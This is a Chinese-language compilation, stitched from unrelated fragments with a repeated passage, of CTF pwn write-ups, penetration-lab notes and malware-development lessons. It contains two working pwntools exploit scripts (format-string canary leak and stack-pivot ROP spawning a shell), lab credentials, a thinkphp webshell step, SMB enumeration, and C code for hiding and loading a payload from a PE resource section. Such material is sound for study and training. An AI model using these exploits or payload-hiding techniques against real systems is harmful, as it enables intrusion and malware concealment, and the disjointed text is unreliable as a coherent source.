基本信息
给了libc
逆向分析
经典堆菜单
重点关注add和edit
add
申请的chunk<0x2f0,并且末尾置0,测试没有off by nulledit
这里用abs取绝对值,但是没有对我们的输入作出限制,那么就可以整数溢出,当输入一个 0x80000000(-2147483648) 时,由于正数最大为 2147483647 ,所以会转换失败而返回负值
也就是说我们有一个负向溢出写
给了libc
经典堆菜单
重点关注add和edit
add
申请的chunk<0x2f0,并且末尾置0,测试没有off by null
edit
这里用abs取绝对值,但是没有对我们的输入作出限制,那么就可以整数溢出,当输入一个 0x80000000(-2147483648) 时,由于正数最大为 2147483647 ,所以会转换失败而返回负值
也就是说我们有一个负向溢出写
题目地址:BUUCTF在线评测
vmpwn专题-2
一个brainfuck虚拟机
p是一个全局指针,指向 bss段的 tape
对opcode的解析相对比较简单
因为没对p做出任何限制,所以可以任意地址读写
现在能做的:
赛题地址:BUUCTF在线评测
vmpwn初探
如图:
将我们输入的指令转为opcode
*(segment+idx++)=a2
__int64 __fastcall copy(void **a1, __int64 a2)
{
int v3; // [rsp+1Ch] [rbp-4h]
if ( !a1 )
return 0LL;
v3 = *((_DWORD *)a1 + 3) + 1; // 0
if ( v3 == *((_DWORD *)a1 + 2) ) // if(v3==size)
return 0LL;
*((_QWORD *)*a1 + v3) = a2;
*((_DWORD *)a1 + 3) = v3; // idx=v3
return 1LL;
}
直接两个裸溢出,格式化字符串泄露canary和libc,然后直接走rop即可
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def pwn():
#dbg('b *$rebase(0x0000132A)')
sla('Every protection is enabled. Good luck.',b'%15$p.%16$p')#本地
ru('0x',True)
canary=int(r(8),16)
lg('canary',canary)
ru('0x',True)
stdout=int(r(8),16)
libc.address=stdout-ls('_IO_2_1_stdout_')
lg('libc',libc.address)
system=ls('system')
binsh=libc.search('/bin/sh\x00').__next__()
dbg('b *$rebase(0x00001363)')
payload=b'a'*32+p32(canary)+b'a'*12+flat([system,0,binsh])
sl(payload)
#dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='i386',bits=32,endian='little')
context.terminal=["tmux","splitw","-h","-l 150"]
binary='./green'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
溢出了0x10字节,栈劫持到bss上走rop泄露libc,然后再劫持一次走system
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def pwn():
ru('Give you a gift:0x',True)
leak=int(r(12),16)
lg('leak',leak)
read_leave_ret=0x000000000040087F
leave_ret=0x0000000000400896
bss=0x601000+0x200
bss1=0x601000+0x400
payload=b'a'*0x20+p64(bss-8)+p64(read_leave_ret)
sa('Do you still have something to say?',payload)
payload=b'a'*0x20+p64(bss+0x20)+p64(read_leave_ret)
s(payload)
#----------------leak libc
rdi=0x0000000000400963
payload=flat([rdi,eg('puts'),ep('puts')])
payload+=p64(leave_ret)
payload+=p64(bss1-8)+p64(read_leave_ret)
s(payload)
ru('\n',True)
puts=u64(r(6).ljust(8,b'\x00'))
lg('puts',puts)
libc=puts-0x000000000006F6A0
lg('libc',libc)
#---------------
system=0x00000000000453A0+libc
binsh=0x000000000018ce57+libc
payload=b'a'*0x20+p64(bss1+0x20)+p64(read_leave_ret)
dbg('b *0x0000000000400897')
s(payload)
rop=flat([rdi,binsh,system])
s(rop)
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 150"]
binary='./stackmigration'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
glibc2.23
能申请任意大小的chunk和堆溢出,但是没有free
利用 house of orange 获得空闲块,看题目有后门,还没开full relro,我选择打malloc的GOT表
下载地址:漏洞详情
只有两台机子,一个外网一个内网
win7
sun\leo 123.com
sun\Administrator dc123.com
2008
sun\admin 2020.com
win7启动phpstudy
将有效负载存储在 .rsrc
部分是一个非常好的选择,因为大多数实际的二进制文件都将它们的数据保存在这里。对于恶意软件作者来说,这也是一种更清晰的方法,因为较大的有效负载无法存储在 .text
或 .data
等部分中,因为它们有大小限制,这会导致在编译时 Visual Studio 出现错误。
例如,你的程序要生成一个exe文件,而文件的图标是你自定义的图标。你就要在这个工程里面添加Icon资源,添加一个外部的ico文件,保存到.rc里面,因此可以直接调用图标文件。
以下步骤说明了如何将有效负载存储在 .rsrc 部分:
在 Visual Studio 中,右键点击 ‘资源文件’,然后点击 添加 > 新项。
点击“资源文件”
这将生成一个新的侧边栏,即资源视图。右键点击 .rc
文件(默认名称为 Resource.rc),然后选择 添加资源 选项。
点击 ‘导入’.
选择 calc.ico 文件,它是重命名为扩展名 ..ico 的原始有效负载
将出现一条提示,要求输入资源类型。输入不带引号的“RCDATA”。
单击“确定”后,有效负载应在 Visual Studio 项目中以原始二进制格式显示
退出资源视图时,“resource.h”头文件应该可见,并根据步骤 2 中的 .rc 文件命名。该文件包含一个定义语句,引用资源部分中有效负载的 ID (IDR_RCDATA1) 。这对于稍后能够从资源部分检索有效负载非常重要。
编译后,有效负载现在将存储在该部分中,但无法直接访问。相反,必须使用多个 WinAPI 来访问 .rsrc
FindResourceW - 获取存储在资源部分的指定数据的位置,该数据由传入的特殊 ID 指定(在头文件中定义)。
LoadResource - 检索资源数据的句柄。此句柄可用于获取指定资源在内存中的基地址。返回类型为 HGLOBAL。
LockResource - 从指定资源句柄中获取指向资源部分数据的指针。
SizeofResource - 获取资源部分中指定数据的大小。
下面的代码片段将利用上述 Windows API 来访问资源部分,并获取有效载荷的地址和大小:
#include <Windows.h>
#include <stdio.h>
#include "resource.h"
int main() {
HRSRC hRsrc = NULL;
HGLOBAL hGlobal = NULL;
PVOID pPayloadAddress = NULL;
SIZE_T sPayloadSize = NULL;
// 获取存储在 .rsrc 中的数据位置,通过其 ID *IDR_RCDATA1*
hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
// 如果函数失败
printf("[!] FindResourceW 调用失败,错误码: %d \n", GetLastError());
return -1;
}
// 获取 HGLOBAL,即指定资源数据的句柄,稍后需要调用 LockResource
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
// 如果函数失败
printf("[!] LoadResource 调用失败,错误码: %d \n", GetLastError());
return -1;
}
// 获取 .rsrc 部分中有效载荷的地址
pPayloadAddress = LockResource(hGlobal);
if (pPayloadAddress == NULL) {
// 如果函数失败
printf("[!] LockResource 调用失败,错误码: %d \n", GetLastError());
return -1;
}
// 获取 .rsrc 部分中有效载荷的大小
sPayloadSize = SizeofResource(NULL, hRsrc);
if (sPayloadSize == NULL) {
// 如果函数失败
printf("[!] SizeofResource 调用失败,错误码: %d \n", GetLastError());
return -1;
}
// 打印指针和大小到屏幕上
printf("[i] pPayloadAddress 变量: 0x%p \n", pPayloadAddress);
printf("[i] sPayloadSize 变量: %ld \n", sPayloadSize);
printf("[#] 按 <Enter> 键退出...");
getchar();
return 0;
}
下载地址:漏洞详情
ubuntu:ubuntu
192.168.74.140
192.168.183.128
域成员机器
douser:Dotest123
192.168.183.129
DC
administrator:Test2008
192.168.183.130
web机器
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
win7
win7总是挂起,修改设备计划
goby上去打些常见poc,随便把端口扫了
Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。
先访问80端口
这图标,一眼thinkphp
制造报错测试下版本,5.0.23
命令执行无回显,简单上个 webshell 算了
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
25/tcp closed smtp
110/tcp closed pop3
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
对smb进行枚举
开启了guest登录策略,随机的用户名都会映射为guest用户
其中有个 note.txt 和 文件夹 WindowsImageBackup
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
系统管理员:请不要将整个备份文件传输到本地,到子公司的 VPN 太慢了。
Portable Executable (PE) 是 Windows 系统上可执行文件的文件格式。PE 文件扩展名的几个示例包括 .exe
、.dll
、.sys
和 .scr
。本模块讨论 PE 文件的结构,这对于构建或逆向工程恶意软件非常重要。
请注意,本模块及未来的模块将经常互换使用“可执行文件”(例如 EXE、DLL)和“镜像”(Images)来指代这些文件。
下图展示了一个简化的 Portable Executable (PE) 结构。图中显示的每个头部都被定义为一个数据结构,该结构包含关于 PE 文件的信息。本模块将详细解释每个数据结构。
PE 文件的第一个头部总是以两个字节开头,分别是 0x4D
和 0x5A
,通常称为 **MZ
**。这两个字节代表 DOS 头部的签名,用于确认正在解析或检查的文件是一个有效的 PE 文件。
DOS 头部 是一个数据结构,其定义如下:
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // Offset to the NT header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;